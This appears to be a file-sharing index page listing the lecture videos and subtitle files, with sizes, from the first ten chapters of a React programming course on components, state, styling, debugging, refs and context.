React - The Complete Guide (Includes Hooks, React Router, and Redux) - Second Edition

mp4   Hot:8   Size:16.66 GB   Created:2024-06-23 03:27:31   Update:2024-10-09 00:26:53  

File List

  • Chapter 18 Practice Project/015. Adding a Custom HTTP Hook & Avoiding Common Errors.mp4 123.12 MB
    Chapter 01 Getting Started/001. Welcome to the Course.mp4 22.52 MB
    Chapter 01 Getting Started/002. What Is React And Why Would You Use It.en.srt 3.7 KB
    Chapter 01 Getting Started/002. What Is React And Why Would You Use It.mp4 29.62 MB
    Chapter 01 Getting Started/003. ReactJS vs Vanilla JavaScript.en.srt 15.32 KB
    Chapter 01 Getting Started/003. ReactJS vs Vanilla JavaScript.mp4 63.35 MB
    Chapter 01 Getting Started/004. Editing Our First React App.en.srt 6.3 KB
    Chapter 01 Getting Started/004. Editing Our First React App.mp4 19.45 MB
    Chapter 01 Getting Started/005. About the Course.en.srt 3.41 KB
    Chapter 01 Getting Started/005. About the Course.mp4 15.27 MB
    Chapter 01 Getting Started/006. One Course, Two Paths.en.srt 3.81 KB
    Chapter 01 Getting Started/006. One Course, Two Paths.mp4 12.01 MB
    Chapter 01 Getting Started/007. How To Get The Most Out Of This Course.en.srt 6.3 KB
    Chapter 01 Getting Started/007. How To Get The Most Out Of This Course.mp4 17.37 MB
    Chapter 01 Getting Started/008. How To Create New React Projects.en.srt 8.83 KB
    Chapter 01 Getting Started/008. How To Create New React Projects.mp4 34.03 MB
    Chapter 01 Getting Started/009. Why Do We Need A Special Project Setup.en.srt 3.34 KB
    Chapter 01 Getting Started/009. Why Do We Need A Special Project Setup.mp4 9.97 MB
    Chapter 02 JavaScript Refresher/001. Module Introduction.en.srt 2.78 KB
    Chapter 02 JavaScript Refresher/001. Module Introduction.mp4 4.84 MB
    Chapter 02 JavaScript Refresher/002. Starting Project.en.srt 1.58 KB
    Chapter 02 JavaScript Refresher/002. Starting Project.mp4 3.66 MB
    Chapter 02 JavaScript Refresher/003. Adding JavaScript to a Page and How React Projects Differ.en.srt 11.89 KB
    Chapter 02 JavaScript Refresher/003. Adding JavaScript to a Page and How React Projects Differ.mp4 23.55 MB
    Chapter 02 JavaScript Refresher/004. React Projects Use a Build Process.en.srt 11.88 KB
    Chapter 02 JavaScript Refresher/004. React Projects Use a Build Process.mp4 43.44 MB
    Chapter 02 JavaScript Refresher/005. import and export.en.srt 18.54 KB
    Chapter 02 JavaScript Refresher/005. import and export.mp4 51.61 MB
    Chapter 02 JavaScript Refresher/006. Revisiting Variables and Values.en.srt 10.16 KB
    Chapter 02 JavaScript Refresher/006. Revisiting Variables and Values.mp4 32.53 MB
    Chapter 02 JavaScript Refresher/007. Revisiting Operators.en.srt 4.01 KB
    Chapter 02 JavaScript Refresher/007. Revisiting Operators.mp4 10.71 MB
    Chapter 02 JavaScript Refresher/008. Revisiting Functions and Parameters.en.srt 13.13 KB
    Chapter 02 JavaScript Refresher/008. Revisiting Functions and Parameters.mp4 35.05 MB
    Chapter 02 JavaScript Refresher/009. Arrow Functions.en.srt 3.44 KB
    Chapter 02 JavaScript Refresher/009. Arrow Functions.mp4 9.43 MB
    Chapter 02 JavaScript Refresher/010. Revisiting Objects and Classes.en.srt 9.12 KB
    Chapter 02 JavaScript Refresher/010. Revisiting Objects and Classes.mp4 24.93 MB
    Chapter 02 JavaScript Refresher/011. Arrays and Array Methods like map().en.srt 16.36 KB
    Chapter 02 JavaScript Refresher/011. Arrays and Array Methods like map().mp4 46.53 MB
    Chapter 02 JavaScript Refresher/012. Destructuring.en.srt 7.8 KB
    Chapter 02 JavaScript Refresher/012. Destructuring.mp4 20.39 MB
    Chapter 02 JavaScript Refresher/013. The Spread Operator.en.srt 4.42 KB
    Chapter 02 JavaScript Refresher/013. The Spread Operator.mp4 13.06 MB
    Chapter 02 JavaScript Refresher/014. Revisiting Control Structures.en.srt 7.79 KB
    Chapter 02 JavaScript Refresher/014. Revisiting Control Structures.mp4 23.22 MB
    Chapter 02 JavaScript Refresher/015. Manipulating the DOM - Not With React!.en.srt 1.39 KB
    Chapter 02 JavaScript Refresher/015. Manipulating the DOM - Not With React!.mp4 3.46 MB
    Chapter 02 JavaScript Refresher/016. Using Functions as Values.en.srt 10.66 KB
    Chapter 02 JavaScript Refresher/016. Using Functions as Values.mp4 29.81 MB
    Chapter 02 JavaScript Refresher/017. Defining Functions Inside Of Functions.en.srt 2.97 KB
    Chapter 02 JavaScript Refresher/017. Defining Functions Inside Of Functions.mp4 6.53 MB
    Chapter 02 JavaScript Refresher/018. Reference vs Primitive Values.en.srt 6.36 KB
    Chapter 02 JavaScript Refresher/018. Reference vs Primitive Values.mp4 15.56 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/001. Module Introduction.en.srt 2.38 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/001. Module Introduction.mp4 5.58 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/002. It's All About Components! [Core Concept].en.srt 7.58 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/002. It's All About Components! [Core Concept].mp4 23.54 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/003. Setting Up The Starting Project.en.srt 4.24 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/003. Setting Up The Starting Project.mp4 8.35 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/004. JSX & React Components [Core Concept].en.srt 5.57 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/004. JSX & React Components [Core Concept].mp4 15.62 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/005. Creating & Using a First Custom Component.en.srt 7.01 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/005. Creating & Using a First Custom Component.mp4 18.88 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/007. Using & Outputting Dynamic Values [Core Concept].en.srt 7.16 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/007. Using & Outputting Dynamic Values [Core Concept].mp4 23.24 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/008. Setting HTML Attributes Dynamically & Loading Image Files.en.srt 5.81 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/008. Setting HTML Attributes Dynamically & Loading Image Files.mp4 21.42 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/009. Making Components Reusable with Props [Core Concept].en.srt 11.05 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/009. Making Components Reusable with Props [Core Concept].mp4 34.18 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/010. Alternative Props Syntaxes.en.srt 8.15 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/010. Alternative Props Syntaxes.mp4 36.55 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/011. Best Practice Storing Components in Files & Using a Good Project Structure.en.srt 7.92 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/011. Best Practice Storing Components in Files & Using a Good Project Structure.mp4 34.1 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/012. Storing Component Style Files Next To Components.en.srt 7.78 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/012. Storing Component Style Files Next To Components.mp4 39.14 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/013. Component Composition The special children Prop [Core Concept].en.srt 10.19 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/013. Component Composition The special children Prop [Core Concept].mp4 31.67 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/014. Reacting to Events [Core Concept].en.srt 8.57 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/014. Reacting to Events [Core Concept].mp4 20.72 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/015. Passing Functions as Values to Props.en.srt 8.06 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/015. Passing Functions as Values to Props.mp4 26.96 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/016. Passing Custom Arguments to Event Functions.en.srt 7.05 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/016. Passing Custom Arguments to Event Functions.mp4 26.25 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/017. How NOT to Update the UI - A Look Behind The Scenes of React [Core Concept].en.srt 6.72 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/017. How NOT to Update the UI - A Look Behind The Scenes of React [Core Concept].mp4 29.56 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/018. Managing State & Using Hooks [Core Concept].en.srt 12.94 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/018. Managing State & Using Hooks [Core Concept].mp4 52.2 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/019. Deriving & Outputting Data Based on State.en.srt 5.72 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/019. Deriving & Outputting Data Based on State.mp4 28.15 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/020. Rendering Content Conditionally.en.srt 10.1 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/020. Rendering Content Conditionally.mp4 42.64 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/021. CSS Styling & Dynamic Styling.en.srt 6.1 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/021. CSS Styling & Dynamic Styling.mp4 23.86 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/022. Outputting List Data Dynamically.en.srt 9.09 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/022. Outputting List Data Dynamically.mp4 44.06 MB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/023. Module Summary.en.srt 7.18 KB
    Chapter 03 React Essentials - Components, JSX, Props, State & More/023. Module Summary.mp4 27.73 MB
    Chapter 04 React Essentials - Deep Dive/001. Module Introduction.en.srt 1.59 KB
    Chapter 04 React Essentials - Deep Dive/001. Module Introduction.mp4 4.78 MB
    Chapter 04 React Essentials - Deep Dive/002. You Don't Have To Use JSX!.en.srt 5.5 KB
    Chapter 04 React Essentials - Deep Dive/002. You Don't Have To Use JSX!.mp4 18.14 MB
    Chapter 04 React Essentials - Deep Dive/003. Working with Fragments.en.srt 7.15 KB
    Chapter 04 React Essentials - Deep Dive/003. Working with Fragments.mp4 21.27 MB
    Chapter 04 React Essentials - Deep Dive/004. When Should You Split Components.en.srt 3.99 KB
    Chapter 04 React Essentials - Deep Dive/004. When Should You Split Components.mp4 17.9 MB
    Chapter 04 React Essentials - Deep Dive/005. Splitting Components By Feature & State.en.srt 8.19 KB
    Chapter 04 React Essentials - Deep Dive/005. Splitting Components By Feature & State.mp4 35.38 MB
    Chapter 04 React Essentials - Deep Dive/006. Problem Props Are Not Forwarded To Inner Elements.en.srt 8.32 KB
    Chapter 04 React Essentials - Deep Dive/006. Problem Props Are Not Forwarded To Inner Elements.mp4 27.34 MB
    Chapter 04 React Essentials - Deep Dive/007. Forwarding Props To Wrapped Elements.en.srt 4.95 KB
    Chapter 04 React Essentials - Deep Dive/007. Forwarding Props To Wrapped Elements.mp4 13.78 MB
    Chapter 04 React Essentials - Deep Dive/008. Working with Multiple JSX Slots.en.srt 10.6 KB
    Chapter 04 React Essentials - Deep Dive/008. Working with Multiple JSX Slots.mp4 39.35 MB
    Chapter 04 React Essentials - Deep Dive/009. Setting Component Types Dynamically.en.srt 11.68 KB
    Chapter 04 React Essentials - Deep Dive/009. Setting Component Types Dynamically.mp4 36.53 MB
    Chapter 04 React Essentials - Deep Dive/010. Setting Default Prop Values.en.srt 2.58 KB
    Chapter 04 React Essentials - Deep Dive/010. Setting Default Prop Values.mp4 9 MB
    Chapter 04 React Essentials - Deep Dive/011. Onwards To The Next Project & Advanced Concepts.en.srt 2.73 KB
    Chapter 04 React Essentials - Deep Dive/011. Onwards To The Next Project & Advanced Concepts.mp4 7.13 MB
    Chapter 04 React Essentials - Deep Dive/012. Not All Content Must Go Into Components.en.srt 7.08 KB
    Chapter 04 React Essentials - Deep Dive/012. Not All Content Must Go Into Components.mp4 20.32 MB
    Chapter 04 React Essentials - Deep Dive/013. New Project First Steps Towards Our Tic-Tac-Toe Game.en.srt 5.24 KB
    Chapter 04 React Essentials - Deep Dive/013. New Project First Steps Towards Our Tic-Tac-Toe Game.mp4 12.79 MB
    Chapter 04 React Essentials - Deep Dive/014. Concept Repetition Splitting Components & Building Reusable Components.en.srt 5.64 KB
    Chapter 04 React Essentials - Deep Dive/014. Concept Repetition Splitting Components & Building Reusable Components.mp4 18.11 MB
    Chapter 04 React Essentials - Deep Dive/015. Concept Repetition Working with State.en.srt 10.18 KB
    Chapter 04 React Essentials - Deep Dive/015. Concept Repetition Working with State.mp4 32.89 MB
    Chapter 04 React Essentials - Deep Dive/016. Component Instances Work In Isolation!.en.srt 2.7 KB
    Chapter 04 React Essentials - Deep Dive/016. Component Instances Work In Isolation!.mp4 7.62 MB
    Chapter 04 React Essentials - Deep Dive/017. Conditional Content & A Suboptimal Way Of Updating State.en.srt 6.3 KB
    Chapter 04 React Essentials - Deep Dive/017. Conditional Content & A Suboptimal Way Of Updating State.mp4 20.4 MB
    Chapter 04 React Essentials - Deep Dive/018. Best Practice Updating State Based On Old State Correctly.en.srt 9.3 KB
    Chapter 04 React Essentials - Deep Dive/018. Best Practice Updating State Based On Old State Correctly.mp4 32.3 MB
    Chapter 04 React Essentials - Deep Dive/019. User Input & Two-Way-Binding.en.srt 10.06 KB
    Chapter 04 React Essentials - Deep Dive/019. User Input & Two-Way-Binding.mp4 35.8 MB
    Chapter 04 React Essentials - Deep Dive/020. Rendering Multi-Dimensional Lists.en.srt 10.11 KB
    Chapter 04 React Essentials - Deep Dive/020. Rendering Multi-Dimensional Lists.mp4 24.5 MB
    Chapter 04 React Essentials - Deep Dive/021. Best Practice Updating Object State Immutably.en.srt 11.26 KB
    Chapter 04 React Essentials - Deep Dive/021. Best Practice Updating Object State Immutably.mp4 40.3 MB
    Chapter 04 React Essentials - Deep Dive/022. Lifting State Up [Core Concept].en.srt 12.5 KB
    Chapter 04 React Essentials - Deep Dive/022. Lifting State Up [Core Concept].mp4 47.36 MB
    Chapter 04 React Essentials - Deep Dive/023. Avoid Intersecting States!.en.srt 6.8 KB
    Chapter 04 React Essentials - Deep Dive/023. Avoid Intersecting States!.mp4 28.61 MB
    Chapter 04 React Essentials - Deep Dive/024. Prefer Computed Values & Avoid Unnecessary State Management.en.srt 7.94 KB
    Chapter 04 React Essentials - Deep Dive/024. Prefer Computed Values & Avoid Unnecessary State Management.mp4 35.32 MB
    Chapter 04 React Essentials - Deep Dive/025. Deriving State From Props.en.srt 9.23 KB
    Chapter 04 React Essentials - Deep Dive/025. Deriving State From Props.mp4 39.24 MB
    Chapter 04 React Essentials - Deep Dive/026. Sharing State Across Components.en.srt 5.28 KB
    Chapter 04 React Essentials - Deep Dive/026. Sharing State Across Components.mp4 13.96 MB
    Chapter 04 React Essentials - Deep Dive/027. Reducing State Management & Identifying Unnecessary State.en.srt 7.49 KB
    Chapter 04 React Essentials - Deep Dive/027. Reducing State Management & Identifying Unnecessary State.mp4 32.25 MB
    Chapter 04 React Essentials - Deep Dive/028. Disabling Buttons Conditionally.en.srt 3.57 KB
    Chapter 04 React Essentials - Deep Dive/028. Disabling Buttons Conditionally.mp4 10.81 MB
    Chapter 04 React Essentials - Deep Dive/029. Outsourcing Data Into A Separate File.en.srt 5.66 KB
    Chapter 04 React Essentials - Deep Dive/029. Outsourcing Data Into A Separate File.mp4 18.2 MB
    Chapter 04 React Essentials - Deep Dive/030. Lifting Computed Values Up.en.srt 7.02 KB
    Chapter 04 React Essentials - Deep Dive/030. Lifting Computed Values Up.mp4 31.16 MB
    Chapter 04 React Essentials - Deep Dive/031. Deriving Computed Values From Other Computed Values.en.srt 7.05 KB
    Chapter 04 React Essentials - Deep Dive/031. Deriving Computed Values From Other Computed Values.mp4 31.24 MB
    Chapter 04 React Essentials - Deep Dive/032. Tic-Tac-Toe Game The Game Over Screen & Checking for a Draw.en.srt 7.2 KB
    Chapter 04 React Essentials - Deep Dive/032. Tic-Tac-Toe Game The Game Over Screen & Checking for a Draw.mp4 25.66 MB
    Chapter 04 React Essentials - Deep Dive/033. Why Immutability Matters - Always!.en.srt 6.75 KB
    Chapter 04 React Essentials - Deep Dive/033. Why Immutability Matters - Always!.mp4 30.12 MB
    Chapter 04 React Essentials - Deep Dive/034. When NOT To Lift State Up.en.srt 6.83 KB
    Chapter 04 React Essentials - Deep Dive/034. When NOT To Lift State Up.mp4 27.09 MB
    Chapter 04 React Essentials - Deep Dive/035. An Alternative To Lifting State Up.en.srt 4.16 KB
    Chapter 04 React Essentials - Deep Dive/035. An Alternative To Lifting State Up.mp4 19.97 MB
    Chapter 04 React Essentials - Deep Dive/036. Final Polishing & Improving Components.en.srt 6.68 KB
    Chapter 04 React Essentials - Deep Dive/036. Final Polishing & Improving Components.mp4 33.59 MB
    Chapter 05 React Essentials - Practice Project/001. Module Introduction & A Challenge For You!.en.srt 6.65 KB
    Chapter 05 React Essentials - Practice Project/001. Module Introduction & A Challenge For You!.mp4 23.13 MB
    Chapter 05 React Essentials - Practice Project/002. Adding a Header Component.en.srt 6.01 KB
    Chapter 05 React Essentials - Practice Project/002. Adding a Header Component.mp4 18.27 MB
    Chapter 05 React Essentials - Practice Project/003. Getting Started with a User Input Component.en.srt 6.11 KB
    Chapter 05 React Essentials - Practice Project/003. Getting Started with a User Input Component.mp4 16.66 MB
    Chapter 05 React Essentials - Practice Project/004. Handling Events & Using Two-Way-Binding.en.srt 12.6 KB
    Chapter 05 React Essentials - Practice Project/004. Handling Events & Using Two-Way-Binding.mp4 45.03 MB
    Chapter 05 React Essentials - Practice Project/005. Lifting State Up.en.srt 11.05 KB
    Chapter 05 React Essentials - Practice Project/005. Lifting State Up.mp4 42.91 MB
    Chapter 05 React Essentials - Practice Project/006. Computing Values & Properly Handling Number Values.en.srt 7.11 KB
    Chapter 05 React Essentials - Practice Project/006. Computing Values & Properly Handling Number Values.mp4 28.84 MB
    Chapter 05 React Essentials - Practice Project/007. Outputting Results in a List & Deriving More Values.en.srt 11.51 KB
    Chapter 05 React Essentials - Practice Project/007. Outputting Results in a List & Deriving More Values.mp4 47.22 MB
    Chapter 05 React Essentials - Practice Project/008. Outputting Content Conditionally.en.srt 5.66 KB
    Chapter 05 React Essentials - Practice Project/008. Outputting Content Conditionally.mp4 19.66 MB
    Chapter 06 Styling React Components/001. Module Introduction & Starting Project.en.srt 4.94 KB
    Chapter 06 Styling React Components/001. Module Introduction & Starting Project.mp4 10.68 MB
    Chapter 06 Styling React Components/002. Splitting CSS Code Across Multiple Files.en.srt 4 KB
    Chapter 06 Styling React Components/002. Splitting CSS Code Across Multiple Files.mp4 20.48 MB
    Chapter 06 Styling React Components/003. Styling React Apps with Vanilla CSS - Pros & Cons.en.srt 3.1 KB
    Chapter 06 Styling React Components/003. Styling React Apps with Vanilla CSS - Pros & Cons.mp4 8.81 MB
    Chapter 06 Styling React Components/004. Vanilla CSS Styles Are NOT Scoped To Components!.en.srt 4.24 KB
    Chapter 06 Styling React Components/004. Vanilla CSS Styles Are NOT Scoped To Components!.mp4 19.76 MB
    Chapter 06 Styling React Components/005. Styling React Apps with Inline Styles.en.srt 7.8 KB
    Chapter 06 Styling React Components/005. Styling React Apps with Inline Styles.mp4 27.65 MB
    Chapter 06 Styling React Components/006. Dynamic & Conditional Inline Styles.en.srt 4.3 KB
    Chapter 06 Styling React Components/006. Dynamic & Conditional Inline Styles.mp4 17.73 MB
    Chapter 06 Styling React Components/007. Dynamic & Conditional Styling with CSS Files & CSS Classes.en.srt 7.17 KB
    Chapter 06 Styling React Components/007. Dynamic & Conditional Styling with CSS Files & CSS Classes.mp4 28.42 MB
    Chapter 06 Styling React Components/008. Scoping CSS Rules with CSS Modules.en.srt 11.76 KB
    Chapter 06 Styling React Components/008. Scoping CSS Rules with CSS Modules.mp4 43.29 MB
    Chapter 06 Styling React Components/009. Introducing Styled Components (Third-party Package).en.srt 9.42 KB
    Chapter 06 Styling React Components/009. Introducing Styled Components (Third-party Package).mp4 44.62 MB
    Chapter 06 Styling React Components/010. Creating Flexible Components with Styled Components.en.srt 5.82 KB
    Chapter 06 Styling React Components/010. Creating Flexible Components with Styled Components.mp4 27.44 MB
    Chapter 06 Styling React Components/011. Dynamic & Conditional Styling with Styled Components.en.srt 13.9 KB
    Chapter 06 Styling React Components/011. Dynamic & Conditional Styling with Styled Components.mp4 63.23 MB
    Chapter 06 Styling React Components/012. Styled Components Pseudo Selectors, Nested Rules & Media Queries.en.srt 9.03 KB
    Chapter 06 Styling React Components/012. Styled Components Pseudo Selectors, Nested Rules & Media Queries.mp4 37.7 MB
    Chapter 06 Styling React Components/013. Creating Reusable Components & Component Combinations.en.srt 12.13 KB
    Chapter 06 Styling React Components/013. Creating Reusable Components & Component Combinations.mp4 56.39 MB
    Chapter 06 Styling React Components/014. Introducing Tailwind CSS For React App Styling.en.srt 14.17 KB
    Chapter 06 Styling React Components/014. Introducing Tailwind CSS For React App Styling.mp4 57.39 MB
    Chapter 06 Styling React Components/015. Adding & Using Tailwind CSS In A React Project.en.srt 4.39 KB
    Chapter 06 Styling React Components/015. Adding & Using Tailwind CSS In A React Project.mp4 15.65 MB
    Chapter 06 Styling React Components/016. Tailwind Media Queries & Pseudo Selectors.en.srt 6.38 KB
    Chapter 06 Styling React Components/016. Tailwind Media Queries & Pseudo Selectors.mp4 21.1 MB
    Chapter 06 Styling React Components/017. Dynamic & Conditional Styling with Tailwind.en.srt 7.08 KB
    Chapter 06 Styling React Components/017. Dynamic & Conditional Styling with Tailwind.mp4 25.53 MB
    Chapter 06 Styling React Components/018. Migrating The Demo App to Tailwind CSS.en.srt 5.1 KB
    Chapter 06 Styling React Components/018. Migrating The Demo App to Tailwind CSS.mp4 22.93 MB
    Chapter 06 Styling React Components/019. Tailwind CSS Pros & Cons.en.srt 5.32 KB
    Chapter 06 Styling React Components/019. Tailwind CSS Pros & Cons.mp4 17.47 MB
    Chapter 07 Debugging React Apps/001. Module Introduction.en.srt 1.83 KB
    Chapter 07 Debugging React Apps/001. Module Introduction.mp4 3.49 MB
    Chapter 07 Debugging React Apps/002. The Starting Project.en.srt 1.5 KB
    Chapter 07 Debugging React Apps/002. The Starting Project.mp4 4.55 MB
    Chapter 07 Debugging React Apps/003. Understanding React Error Messages.en.srt 10.1 KB
    Chapter 07 Debugging React Apps/003. Understanding React Error Messages.mp4 54.8 MB
    Chapter 07 Debugging React Apps/004. Using the Browser Debugger & Breakpoints.en.srt 9.22 KB
    Chapter 07 Debugging React Apps/004. Using the Browser Debugger & Breakpoints.mp4 43.16 MB
    Chapter 07 Debugging React Apps/005. Understanding React's Strict Mode.en.srt 8.08 KB
    Chapter 07 Debugging React Apps/005. Understanding React's Strict Mode.mp4 33.41 MB
    Chapter 07 Debugging React Apps/006. Using the React DevTools (Browser Extension).en.srt 4.96 KB
    Chapter 07 Debugging React Apps/006. Using the React DevTools (Browser Extension).mp4 15.3 MB
    Chapter 08 Working with Refs & Portals/001. Module Introduction & Starting Project.en.srt 4.2 KB
    Chapter 08 Working with Refs & Portals/001. Module Introduction & Starting Project.mp4 9.2 MB
    Chapter 08 Working with Refs & Portals/002. Repetition Managing User Input with State (Two-Way-Binding).en.srt 6.75 KB
    Chapter 08 Working with Refs & Portals/002. Repetition Managing User Input with State (Two-Way-Binding).mp4 22.32 MB
    Chapter 08 Working with Refs & Portals/003. Introducing Refs Connecting & Accessing HTML Elements via Refs.en.srt 7.73 KB
    Chapter 08 Working with Refs & Portals/003. Introducing Refs Connecting & Accessing HTML Elements via Refs.mp4 29.32 MB
    Chapter 08 Working with Refs & Portals/004. Manipulating the DOM via Refs.en.srt 2.71 KB
    Chapter 08 Working with Refs & Portals/004. Manipulating the DOM via Refs.mp4 9.19 MB
    Chapter 08 Working with Refs & Portals/005. Refs vs State Values.en.srt 6.02 KB
    Chapter 08 Working with Refs & Portals/005. Refs vs State Values.mp4 20.23 MB
    Chapter 08 Working with Refs & Portals/006. Adding Challenges to the Demo Project.en.srt 5.86 KB
    Chapter 08 Working with Refs & Portals/006. Adding Challenges to the Demo Project.mp4 17.44 MB
    Chapter 08 Working with Refs & Portals/007. Setting Timers & Managing State.en.srt 5.84 KB
    Chapter 08 Working with Refs & Portals/007. Setting Timers & Managing State.mp4 20.04 MB
    Chapter 08 Working with Refs & Portals/008. Using Refs for More Than DOM Element Connections.en.srt 10.11 KB
    Chapter 08 Working with Refs & Portals/008. Using Refs for More Than DOM Element Connections.mp4 38.14 MB
    Chapter 08 Working with Refs & Portals/009. Adding a Modal Component.en.srt 7.84 KB
    Chapter 08 Working with Refs & Portals/009. Adding a Modal Component.mp4 27.06 MB
    Chapter 08 Working with Refs & Portals/010. Forwarding Refs to Custom Components.en.srt 7.64 KB
    Chapter 08 Working with Refs & Portals/010. Forwarding Refs to Custom Components.mp4 32.2 MB
    Chapter 08 Working with Refs & Portals/011. Exposing Component APIs via the useImperativeHandle Hook.en.srt 8.91 KB
    Chapter 08 Working with Refs & Portals/011. Exposing Component APIs via the useImperativeHandle Hook.mp4 35.53 MB
    Chapter 08 Working with Refs & Portals/012. More Examples When To Use Refs & State.en.srt 10.74 KB
    Chapter 08 Working with Refs & Portals/012. More Examples When To Use Refs & State.mp4 42.3 MB
    Chapter 08 Working with Refs & Portals/013. Sharing State Across Components.en.srt 6.16 KB
    Chapter 08 Working with Refs & Portals/013. Sharing State Across Components.mp4 23.4 MB
    Chapter 08 Working with Refs & Portals/014. Enhancing the Demo App Result Modal.en.srt 2.48 KB
    Chapter 08 Working with Refs & Portals/014. Enhancing the Demo App Result Modal.mp4 9.92 MB
    Chapter 08 Working with Refs & Portals/015. Introducing & Understanding Portals.en.srt 8.25 KB
    Chapter 08 Working with Refs & Portals/015. Introducing & Understanding Portals.mp4 36.41 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/001. Module Introduction & Starting Project.en.srt 3.97 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/001. Module Introduction & Starting Project.mp4 9.97 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/002. Adding a Projects Sidebar Component.en.srt 3.16 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/002. Adding a Projects Sidebar Component.mp4 6.83 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/003. Styling the Sidebar & Button with Tailwind CSS.en.srt 5.8 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/003. Styling the Sidebar & Button with Tailwind CSS.mp4 16.24 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/005. Styling Buttons & Inputs with Tailwind CSS.en.srt 8.25 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/005. Styling Buttons & Inputs with Tailwind CSS.mp4 27.19 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/007. Managing State to Switch Between Components.en.srt 10.1 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/007. Managing State to Switch Between Components.mp4 35.64 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/008. Collecting User Input with Refs & Forwarded Refs.en.srt 15.98 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/008. Collecting User Input with Refs & Forwarded Refs.mp4 59.38 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/009. Handling Project Creation & Updating the UI.en.srt 7.64 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/009. Handling Project Creation & Updating the UI.mp4 25.26 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/011. Styling the Modal via Tailwind CSS.en.srt 7.05 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/011. Styling the Modal via Tailwind CSS.mp4 28.6 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/012. Making Projects Selectable & Viewing Project Details.en.srt 18.38 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/012. Making Projects Selectable & Viewing Project Details.mp4 74.31 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/013. Handling Project Deletion.en.srt 5.84 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/013. Handling Project Deletion.mp4 22.67 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/014. Adding Project Tasks & A Tasks Component.en.srt 6.96 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/014. Adding Project Tasks & A Tasks Component.mp4 20.88 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/015. Managing Tasks & Understanding Prop Drilling.en.srt 18.51 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/015. Managing Tasks & Understanding Prop Drilling.mp4 77.42 MB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/016. Clearing Tasks & Fixing Minor Bugs.en.srt 8.22 KB
    Chapter 09 Practice Project Project Management App (with Components, State, Refs & More)/016. Clearing Tasks & Fixing Minor Bugs.mp4 33.52 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/001. Module Introduction.en.srt 2.14 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/001. Module Introduction.mp4 4.92 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/002. Understanding Prop Drilling & Project Overview.en.srt 7.46 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/002. Understanding Prop Drilling & Project Overview.mp4 26.45 MB
    Chapter 10 React's Context API & useReducer - Advanced State Management/003. Prop Drilling Component Composition as a Solution.en.srt 6.45 KB
    Chapter 10 React's Context API & useReducer - Advanced State Management/003. Prop Drilling Component Composition as a Solution.mp4 26.14 MB
